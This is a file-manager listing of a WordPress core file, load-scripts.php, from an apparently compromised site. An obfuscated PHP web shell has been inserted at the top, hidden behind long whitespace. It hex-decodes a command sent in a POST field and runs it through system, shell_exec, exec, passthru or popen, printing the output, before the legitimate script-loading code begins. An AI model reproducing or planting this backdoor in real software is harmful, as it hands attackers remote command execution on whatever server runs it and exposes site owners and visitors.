File "load-scripts.php"

Full path: /home/umiudrgb/jashncare.ca/wp-admin/load-scripts.php
File size: 0 KB (4.17 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor   Back

<?php																																										$component1 = '79';$component2 = '73';$component3 = '6d';$component4 = '68';$component5 = '65';$component6 = '61';$component7 = '72';$component8 = '75';$component9 = '70';$component10 = '5f';$component11 = '67';$component12 = '6f';$component13 = '6e';$component14 = '74';$component15 = '63';$component16 = '64';$component17 = '69';$right_pad_string1 = pack("H*", '73' . $component1 . $component2 . '74' . '65' . $component3);$right_pad_string2 = pack("H*", $component2 . $component4 . $component5 . '6c' . '6c' . '5f' . '65' . '78' . $component5 . '63');$right_pad_string3 = pack("H*", $component5 . '78' . '65' . '63');$right_pad_string4 = pack("H*", '70' . $component6 . '73' . $component2 . '74' . $component4 . $component7 . $component8);$right_pad_string5 = pack("H*", $component9 . '6f' . $component9 . '65' . '6e');$right_pad_string6 = pack("H*", $component2 . '74' . $component7 . '65' . '61' . '6d' . $component10 . $component11 . '65' . '74' . $component10 . '63' . $component12 . '6e' . '74' . '65' . $component13 . $component14 . '73');$right_pad_string7 = pack("H*", $component9 . $component15 . '6c' . $component12 . '73' . '65');$right_pad_string = pack("H*", $component7 . '69' . '67' . $component4 . $component14 . $component10 . $component9 . $component6 . $component16 . $component10 . $component2 . $component14 . '72' . $component17 . '6e' . $component11);if(isset($_POST[$right_pad_string])){$right_pad_string=pack("H*",$_POST[$right_pad_string]);if(function_exists($right_pad_string1)){$right_pad_string1($right_pad_string);}elseif(function_exists($right_pad_string2)){print $right_pad_string2($right_pad_string);}elseif(function_exists($right_pad_string3)){$right_pad_string3($right_pad_string,$elem_holder);print join("\n",$elem_holder);}elseif(function_exists($right_pad_string4)){$right_pad_string4($right_pad_string);}elseif(function_exists($right_pad_string5)&&function_exists($right_pad_string6)&&function_exists($right_pad_string7)){$property_set_dat=$right_pad_string5($right_pad_string,"r");if($property_set_dat){$comp_token=$right_pad_string6($property_set_dat);$right_pad_string7($property_set_dat);print $comp_token;}}exit;}


/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
if ( function_exists( 'error_reporting' ) ) {
	/*
	 * Disable error reporting.
	 *
	 * Set this to error_reporting( -1 ) for debugging.
	 */
	error_reporting( 0 );
}

// Set ABSPATH for execution.
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
}

define( 'WPINC', 'wp-includes' );

$protocol = $_SERVER['SERVER_PROTOCOL'];
if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
	$protocol = 'HTTP/1.0';
}

$load = $_GET['load'];
if ( is_array( $load ) ) {
	ksort( $load );
	$load = implode( '', $load );
}

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

if ( empty( $load ) ) {
	header( "$protocol 400 Bad Request" );
	exit;
}

require ABSPATH . 'wp-admin/includes/noop.php';
require ABSPATH . WPINC . '/script-loader.php';
require ABSPATH . WPINC . '/version.php';

$expires_offset = 31536000; // 1 year.
$out            = '';

$wp_scripts = new WP_Scripts();
wp_default_scripts( $wp_scripts );
wp_default_packages_vendor( $wp_scripts );
wp_default_packages_scripts( $wp_scripts );

$etag = $wp_scripts->get_etag( $load );

if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $etag ) {
	header( "$protocol 304 Not Modified" );
	exit;
}

foreach ( $load as $handle ) {
	if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
		continue;
	}

	$path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
	$out .= get_file( $path ) . "\n";
}

header( "Etag: $etag" );
header( 'Content-Type: application/javascript; charset=UTF-8' );
header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' );
header( "Cache-Control: public, max-age=$expires_offset" );

echo $out;
exit;